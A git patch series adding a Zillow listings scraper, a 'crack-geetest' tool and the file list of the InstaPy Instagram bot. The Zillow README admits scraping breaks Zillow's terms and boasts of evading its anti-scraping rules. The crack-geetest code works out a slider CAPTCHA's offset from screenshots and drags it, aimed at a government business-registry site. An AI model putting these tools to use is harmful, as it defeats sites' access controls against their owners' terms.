From f2f9e6469b167491f9d301b6ac869e0b9fd9acb1 Mon Sep 17 00:00:00 2001
From: shanhong cheng <shnahongcheng@gmail.com>
Date: Thu, 1 Jun 2017 22:17:25 -0600
Subject: [PATCH 1/5] zillow

---
 Zillow/README.md           |  75 +++++++++
 Zillow/zillow_functions.py | 322 +++++++++++++++++++++++++++++++++++++
 Zillow/zillow_runfile.py   | 154 ++++++++++++++++++
 3 files changed, 551 insertions(+)
 create mode 100644 Zillow/README.md
 create mode 100644 Zillow/zillow_functions.py
 create mode 100644 Zillow/zillow_runfile.py

diff --git a/Zillow/README.md b/Zillow/README.md
new file mode 100644
index 00000000..70f85b14
--- /dev/null
+++ b/Zillow/README.md
@@ -0,0 +1,75 @@
+Zillow Scraping with Python
+===========================
+
+WARNING: Use this code at your own risk, scraping is against Zillow's TOC.
+-------------------------------------------------------------------------
+
+Basic tool for scraping current home listings from Zillow, written in Python 
+using Selenium.  The code takes as input search terms that would normally be 
+entered on the Zillow home page.  It creates 11 variables on each home listing 
+from the data, saves them to a dataframe, and then writes the df to a CSV file 
+that gets saved to your working directory. Using zip codes as search terms 
+seems to yield the best results, the scraper works at a rate of about 75 
+zip codes per hour (compared to the Zillow API limit of 1000 homes per 24h).
+
+There are two files, `zillow_runfile.py` and `zillow_functions.py`. Save them 
+both to your working directory, open the runfile and step through the code 
+line-by-line. The zillow functions are sourced at the top of the runfile.
+
+This tool uses a for loop to iterate over a list of input search terms, scrape 
+the listings of each, and append the results to a dataframe. Function `zipcodes_list()` 
+allows the user to compile a large list of zip codes to use as search terms, 
+using the package [zipcode](https://pypi.python.org/pypi/zipcode). For example, 
+`st = zipcodes_list(['10', '11', '770'])` 
+will yield every US zip code that begins with '10', '11', or '770' as a single 
+list. Object `st` could then be passed to the scraper. The scraper 
+seems to fly below the radar of Zillows anti-scraping TOC rules.
+
+Some things to keep in mind:
+---------------------------
+- You will need to edit the input parameter of function `init_driver` within`zillow_runfile.py` 
+to point to the local path of your web driver program (required by Selenium).
+- The max return for each search term (i.e. each zip code) is 520 home listings.
+- There tends to be a small amount of NA's on every search, however foreclosure 
+properties seem to be more likely to return NA's. So the more foreclosures 
+there are in a search, the more NA's there will be.
+
+Software Requirements/Info
+---------------------
+- This code was written using [Python 3.5](https://www.python.org/downloads/).
+- This code was written using [Selenium v3.0.2](http://www.seleniumhq.org/download/).
+- The Selenium package requires a webdriver program. This code was written 
+using [Chromedriver v2.25](https://sites.google.com/a/chromium.org/chromedriver/downloads).
+
+Example of the output dataframe:
+------------------------
+
+```
+df.head(n=6)
+```
+
+```
+                address     city state    zip    price  sqft bedrooms  \
+0         4251 Drake St  Houston    TX  77005   895000  3501        4   
+1  6534 Westchester Ave  Houston    TX  77005  1325000  2720        3   
+2     2635 Centenary St  Houston    TX  77005  1449000  4114        5   
+3     2336 Robinhood St  Houston    TX  77005  1295000  3652        3   
+4     3135 Bissonnet St  Houston    TX  77005   359000  1692        2   
+5         3824 Byron St  Houston    TX  77005  1100000  3161        3   
+
+  bathrooms days_on_zillow           sale_type  \
+0       4.0              4      House For Sale   
+1       3.0              8      House For Sale   
+2       5.0             NA      House For Sale   
+3       4.0             33      House For Sale   
+4       2.5             37  Townhouse For Sale   
+5       4.0             43      House For Sale   
+
+                                                 url  
+0  http://www.zillow.com/homes/for_sale/27825953_...  
+1  http://www.zillow.com/homes/for_sale/27792196_...  
+2  http://www.zillow.com/homes/for_sale/27812119_...  
+3  http://www.zillow.com/homes/for_sale/27836800_...  
+4  http://www.zillow.com/homes/for_sale/27834549_...  
+5  http://www.zillow.com/homes/for_sale/27823372_...
+```
diff --git a/Zillow/zillow_functions.py b/Zillow/zillow_functions.py
new file mode 100644
index 00000000..ebd4fbed
--- /dev/null
+++ b/Zillow/zillow_functions.py
@@ -0,0 +1,322 @@
+# -*- coding: utf-8 -*-
+# Zillow scraper functions, these are sourced at the top of zillow_runfile.py
+
+import re as re
+import time
+import zipcode
+from selenium import webdriver
+from selenium.webdriver.common.by import By
+from selenium.webdriver.support.ui import WebDriverWait
+from selenium.webdriver.support import expected_conditions as EC
+from selenium.common.exceptions import TimeoutException
+from selenium.common.exceptions import NoSuchElementException
+
+def zipcodes_list(st_items):
+    # If st_items is a single zipcode string.
+    if type(st_items) == str:
+        zc_objects = zipcode.islike(st_items)
+        output = [str(i).split(" ", 1)[1].split(">")[0] 
+                    for i in zc_objects]
+    # If st_items is a list of zipcode strings.
+    elif type(st_items) == list:
+        zc_objects = [n for i in st_items for n in zipcode.islike(str(i))]
+        output = [str(i).split(" ", 1)[1].split(">")[0] 
+                    for i in zc_objects]
+    else:
+        raise ValueError("input 'st_items' must be of type str or list")
+    return(output)
+
+def init_driver(file_path):
+    # Starting maximized fixes https://github.com/ChrisMuir/Zillow/issues/1
+    options = webdriver.ChromeOptions()
+    options.add_argument("--start-maximized")
+
+    driver = webdriver.Chrome(executable_path=file_path, chrome_options=options)
+    driver.wait = WebDriverWait(driver, 10)
+    return(driver)
+
+def navigate_to_website(driver, site):
+    driver.get(site)
+
+def click_buy_button(driver):
+    try:
+        button = driver.wait.until(EC.element_to_be_clickable(
+            (By.CLASS_NAME, "nav-header")))
+        button.click()
+        time.sleep(10)
+    except (TimeoutException, NoSuchElementException):
+        raise ValueError("Clicking the 'Buy' button failed")
+
+def enter_search_term(driver, search_term):
+    try:
+        search_bar = driver.wait.until(EC.presence_of_element_located(
+            (By.ID, "citystatezip")))
+        button = driver.wait.until(EC.element_to_be_clickable(
+            (By.CLASS_NAME, "zsg-icon-searchglass")))
+        search_bar.clear()
+        time.sleep(3)
+        search_bar.send_keys(search_term)
+        time.sleep(3)
+        button.click()
+        time.sleep(3)
+        return(True)
+    except (TimeoutException, NoSuchElementException):
+        return(False)
+
+def results_test(driver):
+    # Check to see if there are any returned results
+    try:
+        no_results = driver.find_element_by_css_selector(
+            '.zoom-out-message').is_displayed()
+    except (NoSuchElementException, TimeoutException):
+        # Check to see if the zipcode is invalid or not
+        try:
+            no_results = driver.find_element_by_class_name(
+                'zsg-icon-x-thick').is_displayed()
+        except (NoSuchElementException, TimeoutException):
+            no_results = False
+    return(no_results)
+
+def get_html(driver):
+    output = []
+    keep_going = True
+    while keep_going:
+        # Pull page HTML
+        try:
+            output.append(driver.page_source)
+        except TimeoutException:
+            pass
+        try:
+            # Check to see if a "next page" link exists
+            keep_going = driver.find_element_by_class_name(
+                'zsg-pagination-next').is_displayed()
+        except NoSuchElementException:
+            keep_going = False
+        if keep_going:
+            # Test to ensure the "updating results" image isnt displayed. 
+            # Will try up to 5 times before giving up, with a 5 second wait 
+            # between each try. 
+            tries = 5
+            try:
+                cover = driver.find_element_by_class_name(
+                    'list-loading-message-cover').is_displayed()
+            except (TimeoutException, NoSuchElementException):
+                cover = False
+            while cover and tries > 0:
+                time.sleep(5)
+                tries -= 1
+                try:
+                    cover = driver.find_element_by_class_name(
+                        'list-loading-message-cover').is_displayed()
+                except (TimeoutException, NoSuchElementException):
+                    cover = False
+            # If the "updating results" image is confirmed to be gone 
+            # (cover == False), click next page. Otherwise, give up on trying 
+            # to click thru to the next page of house results, and return the 
+            # results that have been scraped up to the current page.
+            if cover == False:
+                try:
+                    driver.wait.until(EC.element_to_be_clickable(
+                        (By.CLASS_NAME, 'zsg-pagination-next'))).click()
+                    time.sleep(3)
+                except TimeoutException:
+                    keep_going = False
+            else:
+                keep_going = False
+    return(output)
+
+def get_listings(list_obj):
+    # Split the raw HTML into segments, one for each listing.
+    output = []
+    for i in list_obj:
+        htmlSplit = i.split('" id="zpid_')[1:]
+        output += htmlSplit
+    print(str(len(output)) + " home listings scraped\n***")
+    return(output)
+
+def get_street_address(soup_obj):
+    try:
+        street = soup_obj.find(
+            "span", {"itemprop" : "streetAddress"}).get_text().strip()
+    except (ValueError, AttributeError):
+        street = "NA"
+    if len(street) == 0 or street == "null":
+        street = "NA"
+    return(street)
+    
+    
+def get_city(soup_obj):
+    try:
+        city = soup_obj.find(
+            "span", {"itemprop" : "addressLocality"}).get_text().strip()
+    except (ValueError, AttributeError):
+        city = "NA"
+    if len(city) == 0 or city == "null":
+        city = "NA"
+    return(city)
+
+def get_state(soup_obj):
+    try:
+        state = soup_obj.find(
+            "span", {"itemprop" : "addressRegion"}).get_text().strip()
+    except (ValueError, AttributeError):
+        state = "NA"
+    if len(state) == 0 or state == 'null':
+        state = "NA"
+    return(state)
+    
+def get_zipcode(soup_obj):
+    try:
+        zipcode = soup_obj.find(
+            "span", {"itemprop" : "postalCode"}).get_text().strip()
+    except (ValueError, AttributeError):
+        zipcode = "NA"
+    if len(zipcode) == 0 or zipcode == 'null':
+        zipcode = "NA"
+    return(zipcode)
+
+def get_price(soup_obj, list_obj):
+    # Look for price within the BeautifulSoup object.
+    try:
+        price = soup_obj.find(
+            "span", {"class" : "zsg-photo-card-price"}).get_text().strip()
+    except (ValueError, AttributeError):
+        # If that fails, look for price within list_obj (object "card_info").
+        try:
+            price = [n for n in list_obj 
+                if any(["$" in n, "K" in n, "k" in n])]
+            if len(price) > 0:
+                price = price[0].split(" ")
+                price = [n for n in price if re.search("[0-9]", n) is not None]
+                if len(price[0]) > 0:
+                    price = price[0]
+                else:
+                    price = "NA"
+            else:
+                price = "NA"
+        except (ValueError, AttributeError):
+            price = "NA"
+    if len(price) == 0 or price == "null":
+        price = "NA"
+    if price is not "NA":
+        # Transformations to the price string.
+        price = price.replace(",", "").replace("+", "").replace("$", "")
+        if any(["K" in price, "k" in price]):
+            price = price.lower().split("k")[0].strip()
+            price = price + "000"
+        if any(["M" in price, "m" in price]):
+            price = price.lower().split("m")[0].strip()
+            if "." not in price:
+                price = price + "000000"
+            else:
+                pricelen = len(price.split('.')[0]) + 6
+                price = price.replace('.', '')
+                diff = pricelen - len(price)
+                price = price + (diff * "0")
+        if len(price) == 0:
+            price = 'NA'
+    return(price)
+    
+def get_card_info(soup_obj):
+    # For most listings, card_info will contain info on number of bedrooms, 
+    # number of bathrooms, square footage, and sometimes price.
+    try:
+        card = soup_obj.find(
+            "span", {"class" : "zsg-photo-card-info"}).get_text().split(" · ")
+    except (ValueError, AttributeError):
+        card = "NA"
+    if len(card) == 0 or card == 'null':
+        card = "NA"
+    return(card)
+
+def get_sqft(list_obj):
+    sqft = [n for n in list_obj if "sqft" in n]
+    if len(sqft) > 0:
+        try:
+            sqft = float(sqft[0].split("sqft")[0].strip().replace(",", "").replace("+", ""))
+        except (ValueError, IndexError):
+            sqft = "NA"
+        if sqft == 0:
+            sqft = "NA"
+    else:
+        sqft = "NA"
+    return(sqft)
+
+def get_bedrooms(list_obj):
+    beds = [n for n in list_obj if any(["bd" in n, "tudio" in n])]
+    if len(beds) > 0:
+        if any([beds[0] == "Studio", beds[0] == "studio"]):
+            beds = 0
+            return(beds)
+        try:
+            beds = float(beds[0].split("bd")[0].strip())
+        except (ValueError, IndexError):
+            if any([beds[0] == "Studio", beds[0] == "studio"]):
+                beds = 0
+            else:
+                beds = "NA"
+    else:
+        beds = "NA"
+    return(beds)
+
+def get_bathrooms(list_obj):
+    baths = [n for n in list_obj if "ba" in n]
+    if len(baths) > 0:
+        try:
+            baths = float(baths[0].split("ba")[0].strip())
+        except (ValueError, IndexError):
+            baths = "NA"
+        if baths == 0:
+            baths = "NA"
+    else:
+        baths = "NA"
+    return(baths)
+
+def get_days_on_market(soup_obj):
+    try:
+        dom = soup_obj.find_all(
+            "span", {"class" : "zsg-photo-card-notification"})
+        dom = [n for n in dom if "illow" in n.get_text()]
+        if len(dom) > 0:
+            dom = dom[0].get_text().strip()
+            dom = int(dom.split(" ")[0])
+        else:
+            dom = "NA"
+    except (ValueError, AttributeError):
+        dom = "NA"
+    return(dom)
+
+def get_sale_type(soup_obj):
+    try:
+        saletype = soup_obj.find(
+            "span", {"class" : "zsg-photo-card-status"}).get_text().strip()
+    except (ValueError, AttributeError):
+        saletype = "NA"
+    if len(saletype) == 0 or saletype == 'null':
+        saletype = "NA"
+    return(saletype)
+
+def get_url(soup_obj):
+    # Try to find url in the BeautifulSoup object.
+    href = [n["href"] for n in soup_obj.find_all("a", href = True)]
+    url = [i for i in href if "homedetails" in i]
+    if len(url) > 0:
+        url = "http://www.zillow.com/homes/for_sale/" + url[0]
+    else:
+        # If that fails, contruct the url from the zpid of the listing.
+        url = [i for i in href if "zpid" in i and "avorite" not in i]
+        if len(url) > 0:
+            zpid = re.findall(r"\d{8,10}", href[0])
+            if zpid is not None and len(zpid) > 0:
+                url = 'http://www.zillow.com/homes/for_sale/' \
+                        + str(zpid[0]) \
+                        + '_zpid/any_days/globalrelevanceex_sort/29.759534,' \
+                        + '-95.335321,29.675003,-95.502863_rect/12_zm/'
+            else:
+                url = "NA"
+        else:
+            url = "NA"
+    return(url)
+
+def close_connection(driver):
+    driver.quit()
diff --git a/Zillow/zillow_runfile.py b/Zillow/zillow_runfile.py
new file mode 100644
index 00000000..0b418f2c
--- /dev/null
+++ b/Zillow/zillow_runfile.py
@@ -0,0 +1,154 @@
+# -*- coding: utf-8 -*-
+'''
+WARNING: Use this code at your own risk, scraping is against Zillow's TOC.
+
+Zillow home listings scraper, using Selenium.  The code takes as input search 
+terms that would normally be entered on the Zillow home page.  It creates 11 
+variables on each home listing from the data, saves them to a data frame, 
+and then writes the df to a CSV file that gets saved to your working directory.
+
+Software requirements/info:
+- This code was written using Python 3.5.
+- Scraping is done with Selenium v3.0.2, which can be downloaded here: 
+  http://www.seleniumhq.org/download/
+- The selenium package requires a webdriver program. This code was written 
+  using Chromedriver v2.25, which can be downloaded here: 
+  https://sites.google.com/a/chromium.org/chromedriver/downloads
+  
+'''
+
+import time
+import pandas as pd
+import zillow_functions as zl
+from bs4 import BeautifulSoup
+
+# Create list of search terms.
+# Function zipcodes_list() creates a list of US zip codes that will be 
+# passed to the scraper. For example, st = zipcodes_list(['10', '11', '606'])  
+# will yield every US zip code that begins with '10', begins with "11", or 
+# begins with "606" as a single list.
+# I recommend using zip codes, as they seem to be the best option for catching
+# as many house listings as possible. If you want to use search terms other 
+# than zip codes, simply skip running zipcodes_list() function below, and add 
+# a line of code to manually assign values to object st, for example:
+# st = ['Chicago', 'New Haven, CT', '77005', 'Jacksonville, FL']
+# Keep in mind that, for each search term, the number of listings scraped is 
+# capped at 520, so in using a search term like "Chicago" the scraper would 
+# end up missing most of the results.
+# Param st_items can be either a list of zipcode strings, or a single zipcode 
+# string.
+st = zl.zipcodes_list(st_items = ["100", "770"])
+
+# Initialize the webdriver.
+driver = zl.init_driver("C:/Users/username/chromedriver.exe")
+
+# Go to www.zillow.com/homes
+zl.navigate_to_website(driver, "http://www.zillow.com/homes")
+
+# Click the "buy" button.
+zl.click_buy_button(driver)
+
+# Create 11 variables from the scrapped HTML data.
+# These variables will make up the final output dataframe.
+df = pd.DataFrame({'address' : [], 
+                   'bathrooms' : [], 
+                   'bedrooms' : [], 
+                   'city' : [], 
+                   'days_on_zillow' : [], 
+                   'price' : [], 
+                   'sale_type' : [], 
+                   'state' : [], 
+                   'sqft' : [], 
+                   'url' : [], 
+                   'zip' : []})
+
+# Get total number of search terms.
+num_search_terms = len(st)
+
+# Start the scraping.
+for k in range(num_search_terms):
+    # Define search term (must be str object).
+    search_term = st[k]
+
+    # Enter search term and execute search.
+    if zl.enter_search_term(driver, search_term):
+        print("Entering search term number " + str(k+1) + 
+              " out of " + str(num_search_terms))
+    else:
+        print("Search term " + str(k+1) + 
+              " failed, moving onto next search term\n***")
+        continue
+    
+    # Check to see if any results were returned from the search.
+    # If there were none, move onto the next search.
+    if zl.results_test(driver):
+        print("Search " + str(search_term) + 
+              " returned zero results. Moving onto the next search\n***")
+        continue
+    
+    # Pull the html for each page of search results. Zillow caps results at 
+    # 20 pages, each page can contain 26 home listings, thus the cap on home 
+    # listings per search is 520.
+    raw_data = zl.get_html(driver)
+    print(str(len(raw_data)) + " pages of listings found")
+    
+    # Take the extracted HTML and split it up by individual home listings.
+    listings = zl.get_listings(raw_data)
+    
+    # For each home listing, extract the 11 variables that will populate that 
+    # specific observation within the output dataframe.
+    for n in range(len(listings)):
+        soup = BeautifulSoup(listings[n], "lxml")
+        new_obs = []
+        
+        # List that contains number of beds, baths, and total sqft (and 
+        # sometimes price as well).
+        card_info = zl.get_card_info(soup)
+        
+        # Street Address
+        new_obs.append(zl.get_street_address(soup))
+        
+        # Bathrooms
+        new_obs.append(zl.get_bathrooms(card_info))
+        
+        # Bedrooms
+        new_obs.append(zl.get_bedrooms(card_info))
+        
+        # City
+        new_obs.append(zl.get_city(soup))
+        
+        # Days on the Market/Zillow
+        new_obs.append(zl.get_days_on_market(soup))
+        
+        # Price
+        new_obs.append(zl.get_price(soup, card_info))
+        
+        # Sale Type (House for Sale, New Construction, Foreclosure, etc.)
+        new_obs.append(zl.get_sale_type(soup))
+        
+        # Sqft
+        new_obs.append(zl.get_sqft(card_info))
+        
+        # State
+        new_obs.append(zl.get_state(soup))
+        
+        # URL for each house listing
+        new_obs.append(zl.get_url(soup))
+        
+        # Zipcode
+        new_obs.append(zl.get_zipcode(soup))
+    
+        # Append new_obs to df as a new observation
+        if len(new_obs) == len(df.columns):
+            df.loc[len(df.index)] = new_obs
+
+# Close the webdriver connection.
+zl.close_connection(driver)
+
+# Write df to CSV.
+columns = ['address', 'city', 'state', 'zip', 'price', 'sqft', 'bedrooms', 
+           'bathrooms', 'days_on_zillow', 'sale_type', 'url']
+df = df[columns]
+dt = time.strftime("%Y-%m-%d") + "_" + time.strftime("%H%M%S")
+file_name = str(dt) + ".csv"
+df.to_csv(file_name, index = False)

From 6beb0b225d91e27c329da1719f03c5a7166c1607 Mon Sep 17 00:00:00 2001
From: shanhong cheng <shnahongcheng@gmail.com>
Date: Thu, 1 Jun 2017 22:19:14 -0600
Subject: [PATCH 2/5] crack geeteset

---
 crack-geetest/.gitignore                    |  89 +++++++++++++
 crack-geetest/LICENSE                       |  21 +++
 crack-geetest/README.md                     |  24 ++++
 crack-geetest/bin/chromedriver              | Bin 0 -> 10256192 bytes
 crack-geetest/geetest/__init__.py           |   4 +
 crack-geetest/geetest/geetest.py            | 140 ++++++++++++++++++++
 crack-geetest/industry_and_commerce.py      |  39 ++++++
 crack-geetest/requirements.txt              |   2 +
 crack-geetest/screenshots/crack-geetest.gif | Bin 0 -> 707149 bytes
 9 files changed, 319 insertions(+)
 create mode 100644 crack-geetest/.gitignore
 create mode 100644 crack-geetest/LICENSE
 create mode 100644 crack-geetest/README.md
 create mode 100755 crack-geetest/bin/chromedriver
 create mode 100644 crack-geetest/geetest/__init__.py
 create mode 100644 crack-geetest/geetest/geetest.py
 create mode 100644 crack-geetest/industry_and_commerce.py
 create mode 100644 crack-geetest/requirements.txt
 create mode 100755 crack-geetest/screenshots/crack-geetest.gif

diff --git a/crack-geetest/.gitignore b/crack-geetest/.gitignore
new file mode 100644
index 00000000..72364f99
--- /dev/null
+++ b/crack-geetest/.gitignore
@@ -0,0 +1,89 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+env/
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+*.egg-info/
+.installed.cfg
+*.egg
+
+# PyInstaller
+#  Usually these files are written by a python script from a template
+#  before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*,cover
+.hypothesis/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+target/
+
+# IPython Notebook
+.ipynb_checkpoints
+
+# pyenv
+.python-version
+
+# celery beat schedule file
+celerybeat-schedule
+
+# dotenv
+.env
+
+# virtualenv
+venv/
+ENV/
+
+# Spyder project settings
+.spyderproject
+
+# Rope project settings
+.ropeproject
diff --git a/crack-geetest/LICENSE b/crack-geetest/LICENSE
new file mode 100644
index 00000000..f19dab6f
--- /dev/null
+++ b/crack-geetest/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2016 戴忠意
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/crack-geetest/README.md b/crack-geetest/README.md
new file mode 100644
index 00000000..3cb4c04a
--- /dev/null
+++ b/crack-geetest/README.md
@@ -0,0 +1,24 @@
+![Crack Geetest](./screenshots/crack-geetest.gif)
+
+### Python 2.7
+```bash
+$ brew install python
+```
+### Python Libs
+```bash
+$ pip install -r ./requirements.txt
+```
+### PhantomJS
+```bash
+$ brew install phantomjs
+$ phantomjs --version
+2.1.1
+```
+### ChromeDriver
+```bash
+$ cp bin/chromedriver /usr/local/bin
+```
+### Examples
+```bash
+$ python industry_and_commerce.py
+```
diff --git a/crack-geetest/bin/chromedriver b/crack-geetest/bin/chromedriver
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HcmV?d00001

diff --git a/crack-geetest/geetest/__init__.py b/crack-geetest/geetest/__init__.py
new file mode 100644
index 00000000..d3905c1b
--- /dev/null
+++ b/crack-geetest/geetest/__init__.py
@@ -0,0 +1,4 @@
+from geetest import BaseGeetestCrack
+
+
+__all__ = ["BaseGeetestCrack"]
diff --git a/crack-geetest/geetest/geetest.py b/crack-geetest/geetest/geetest.py
new file mode 100644
index 00000000..cdec38f7
--- /dev/null
+++ b/crack-geetest/geetest/geetest.py
@@ -0,0 +1,140 @@
+# -*- coding: utf-8 -*-
+
+import time
+import uuid
+import StringIO
+
+from PIL import Image
+from selenium.webdriver.common.action_chains import ActionChains
+
+
+class BaseGeetestCrack(object):
+
+    """验证码破解基础类"""
+
+    def __init__(self, driver):
+        self.driver = driver
+        self.driver.maximize_window()
+
+    def input_by_id(self, text=u"中国移动", element_id="keyword_qycx"):
+        """输入查询关键词
+
+        :text: Unicode, 要输入的文本
+        :element_id: 输入框网页元素id
+
+        """
+        input_el = self.driver.find_element_by_id(element_id)
+        input_el.clear()
+        input_el.send_keys(text)
+        time.sleep(3.5)
+
+    def click_by_id(self, element_id="popup-submit"):
+        """点击查询按钮
+
+        :element_id: 查询按钮网页元素id
+
+        """
+        search_el = self.driver.find_element_by_id(element_id)
+        search_el.click()
+        time.sleep(3.5)
+
+    def calculate_slider_offset(self):
+        """计算滑块偏移位置，必须在点击查询按钮之后调用
+
+        :returns: Number
+
+        """
+        img1 = self.crop_captcha_image()
+        self.drag_and_drop(x_offset=5)
+        img2 = self.crop_captcha_image()
+        w1, h1 = img1.size
+        w2, h2 = img2.size
+        if w1 != w2 or h1 != h2:
+            return False
+        left = 0
+        flag = False
+        for i in xrange(45, w1):
+            for j in xrange(h1):
+                if not self.is_pixel_equal(img1, img2, i, j):
+                    left = i
+                    flag = True
+                    break
+            if flag:
+                break
+        if left == 45:
+            left -= 2
+        return left
+
+    def is_pixel_equal(self, img1, img2, x, y):
+        pix1 = img1.load()[x, y]
+        pix2 = img2.load()[x, y]
+        if (abs(pix1[0] - pix2[0] < 60) and abs(pix1[1] - pix2[1] < 60) and abs(pix1[2] - pix2[2] < 60)):
+            return True
+        else:
+            return False
+
+    def crop_captcha_image(self, element_id="gt_box"):
+        """截取验证码图片
+
+        :element_id: 验证码图片网页元素id
+        :returns: StringIO, 图片内容
+
+        """
+        captcha_el = self.driver.find_element_by_class_name(element_id)
+        location = captcha_el.location
+        size = captcha_el.size
+        left = int(location['x'])
+        top = int(location['y'])
+        left = 1010
+        top = 535
+        # right = left + int(size['width'])
+        # bottom = top + int(size['height'])
+        right = left + 523
+        bottom = top + 235
+        print(left, top, right, bottom)
+
+        screenshot = self.driver.get_screenshot_as_png()
+
+        screenshot = Image.open(StringIO.StringIO(screenshot))
+        captcha = screenshot.crop((left, top, right, bottom))
+        captcha.save("%s.png" % uuid.uuid4().get_hex())
+        return captcha
+
+    def get_browser_name(self):
+        """获取当前使用浏览器名称
+        :returns: TODO
+
+        """
+        return str(self.driver).split('.')[2]
+
+    def drag_and_drop(self, x_offset=0, y_offset=0, element_class="gt_slider_knob"):
+        """拖拽滑块
+
+        :x_offset: 相对滑块x坐标偏移
+        :y_offset: 相对滑块y坐标偏移
+        :element_class: 滑块网页元素CSS类名
+
+        """
+        dragger = self.driver.find_element_by_class_name(element_class)
+        action = ActionChains(self.driver)
+        action.drag_and_drop_by_offset(dragger, x_offset, y_offset).perform()
+        # 这个延时必须有，在滑动后等待回复原状
+        time.sleep(8)
+
+    def move_to_element(self, element_class="gt_slider_knob"):
+        """鼠标移动到网页元素上
+
+        :element: 目标网页元素
+
+        """
+        time.sleep(3)
+        element = self.driver.find_element_by_class_name(element_class)
+        action = ActionChains(self.driver)
+        action.move_to_element(element).perform()
+        time.sleep(4.5)
+
+    def crack(self):
+        """执行破解程序
+
+        """
+        raise NotImplementedError
diff --git a/crack-geetest/industry_and_commerce.py b/crack-geetest/industry_and_commerce.py
new file mode 100644
index 00000000..b2a6c7cd
--- /dev/null
+++ b/crack-geetest/industry_and_commerce.py
@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import time
+
+from geetest import BaseGeetestCrack
+from selenium import webdriver
+
+
+class IndustryAndCommerceGeetestCrack(BaseGeetestCrack):
+
+    """工商滑动验证码破解类"""
+
+    def __init__(self, driver):
+        super(IndustryAndCommerceGeetestCrack, self).__init__(driver)
+
+    def crack(self):
+        """执行破解程序
+        """
+        self.input_by_id()
+        self.click_by_id()
+        time.sleep(2)
+        x_offset = self.calculate_slider_offset()
+        self.drag_and_drop(x_offset=x_offset)
+
+
+def main():
+    driver = webdriver.Chrome()
+    driver.get("http://bj.gsxt.gov.cn/sydq/loginSydqAction!sydq.dhtml")
+    cracker = IndustryAndCommerceGeetestCrack(driver)
+    cracker.crack()
+    print(driver.get_window_size())
+    time.sleep(3)
+    driver.save_screenshot("screen.png")
+    driver.close()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/crack-geetest/requirements.txt b/crack-geetest/requirements.txt
new file mode 100644
index 00000000..2cabae79
--- /dev/null
+++ b/crack-geetest/requirements.txt
@@ -0,0 +1,2 @@
+Pillow==4.0.0
+selenium==3.3.0
diff --git a/crack-geetest/screenshots/crack-geetest.gif b/crack-geetest/screenshots/crack-geetest.gif
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HcmV?d00001


From 238759513d27c1e0895960931580071cd38c188b Mon Sep 17 00:00:00 2001
From: shanhong cheng <shnahongcheng@gmail.com>
Date: Thu, 1 Jun 2017 22:20:57 -0600
Subject: [PATCH 3/5] InstaPy

---
 InstaPy/.gitignore                  |  95 ++++++
 InstaPy/Dockerfile                  |  79 +++++
 InstaPy/LICENSE                     |  21 ++
 InstaPy/README.md                   | 344 +++++++++++++++++++
 InstaPy/assets/unicodes.md          |  39 +++
 InstaPy/docs/How_To_DO_Centos.md    |  46 +++
 InstaPy/docs/How_To_DO_Ubuntu.md    |  55 +++
 InstaPy/docs/How_to_Windows.md      |  51 +++
 InstaPy/docs/_config.yml            |   3 +
 InstaPy/docs/index.md               | 347 +++++++++++++++++++
 InstaPy/examples/__init__.py        |   0
 InstaPy/examples/chainingExample.py |  10 +
 InstaPy/examples/example.py         |  75 ++++
 InstaPy/instapy/__init__.py         |   1 +
 InstaPy/instapy/clarifai_util.py    |  35 ++
 InstaPy/instapy/comment_util.py     |  37 ++
 InstaPy/instapy/instapy.py          | 513 ++++++++++++++++++++++++++++
 InstaPy/instapy/like_util.py        | 303 ++++++++++++++++
 InstaPy/instapy/login_util.py       |  35 ++
 InstaPy/instapy/print_log_writer.py |  12 +
 InstaPy/instapy/time_util.py        |  22 ++
 InstaPy/instapy/unfollow_util.py    |  80 +++++
 InstaPy/logs/followRestriction.json |   1 +
 InstaPy/logs/followed.txt           |   1 +
 InstaPy/logs/followerNum.txt        |   1 +
 InstaPy/logs/logFile.txt            |   1 +
 InstaPy/logs/run.txt                |   0
 InstaPy/quickstart.py               |  23 ++
 InstaPy/requirements.txt            |   3 +
 InstaPy/scripts/unix.sh             |  59 ++++
 InstaPy/scripts/windows.ps1         |  35 ++
 InstaPy/setup.py                    |  25 ++
 32 files changed, 2352 insertions(+)
 create mode 100644 InstaPy/.gitignore
 create mode 100644 InstaPy/Dockerfile
 create mode 100644 InstaPy/LICENSE
 create mode 100755 InstaPy/README.md
 create mode 100644 InstaPy/assets/unicodes.md
 create mode 100644 InstaPy/docs/How_To_DO_Centos.md
 create mode 100644 InstaPy/docs/How_To_DO_Ubuntu.md
 create mode 100644 InstaPy/docs/How_to_Windows.md
 create mode 100644 InstaPy/docs/_config.yml
 create mode 100755 InstaPy/docs/index.md
